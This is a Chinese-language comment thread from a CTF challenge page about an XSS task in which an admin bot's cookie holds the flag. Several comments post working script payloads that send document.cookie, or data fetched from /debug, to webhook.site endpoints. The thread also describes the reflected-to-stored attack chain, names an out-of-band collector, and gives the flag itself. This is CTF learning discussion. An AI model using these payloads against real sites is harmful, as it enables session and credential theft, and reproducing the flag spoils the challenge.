评分(0)
暂无评分
解题动态
kxzzy 攻破了该题 11小时前
Carlnb 攻破了该题 1天前
wwwwjjj 攻破了该题 1天前
admin_ 攻破了该题 4天前
yu00zzz 攻破了该题 9天前
xupxload 攻破了该题 11天前
pigpigG6768 攻破了该题 12天前
pudding2024 攻破了该题 14天前
cunhong 攻破了该题 17天前
热吻裙下唇 攻破了该题 17天前
4chfbu 攻破了该题 23天前
xingzou 攻破了该题 23天前
EverGarden 攻破了该题 24天前
sakuye 攻破了该题 25天前
kailiyizhong 攻破了该题 28天前
马猴烧酒吼姆拉 攻破了该题 1月前
pigggg 攻破了该题 1月前
seyana 攻破了该题 1月前
心胜于物 攻破了该题 1月前
评论
倦鸟叫了一整天 1年前
举报
看不到源码呀
18715082837 6月前
举报
怎么看源码
15756309355 1年前
举报
斯，为什么我服务器接受不到cookie的请求，网站根本没有访问我服务器
林蔓露 4月前
举报
@yearling 管理员cookie:Wow, we really liked too!
lianglllllll 7月前
举报
这个要自己搭吗？之前有道题也是没有
lunarbyside 11月前
举报
@yearling 会不会是因为网络是私网地址啊
yearling 1年前
举报
我也拿不到cookie，难绷
missa 1年前
举报
请问有什么推荐的xss平台吗？网上找的没有用，自己本机去访问都收不到信息，
vincentshine 1年前
举报
任何一个带外网站都可以，推荐ceye
一只小羊 1年前
举报
<script>fetch('https://webhook.site/aa6a0e67-0dcc-4c44-94cd-ec7c8960b235',{method:'POST',body:document.cookie})</script>
lunarbyside 11月前
举报
接收到请求了，但是没搞懂cookie在哪里，然后干嘛呢也不知道，也没看到cookie
vincentshine 1年前
举报
感谢老哥的脚本，我用其他的windows.location.href的方式打不开
1512624649 2年前
举报
flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261} http://82.157.146.43:14179/visit?url=http%3A%2F%2F82.157.146.43%3A14179%2Fzombie%3Fshow%3D%253Cscript%253Efetch%2528%2527%252Fdebug%2527%2529.then%252
.⎛⎝•̀ω•́⎠⎞. 2年前
举报
典型的xss盗管理员cookie，网上随便找一个xss平台，或者自己用服务器建一个
meilanzhuju 2年前
举报
有点晕乎
qingfeng1115 2年前
举报
<script>fetch('/debug').then(r=>r.json()).then(j=>fetch('https://webhook.site/8ab574ff-b363-48a3-a1b3-4455a3001925',{method:'POST',body:j.cookie}))</script> 中https://webhook.site/8a
yituoshi 2年前
举报
Half the truth is often a big lie: "flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08
justsosoloveyou 2年前
举报
第一个框反射xss，第二个框存储xss。将第一个框触发xss的url输入到第二个框，后台自动访问url后即可触发xss盗取cookie里的flag。注意需要将js编码。
lltong 2年前
举报
将js编码,是怎么编码呢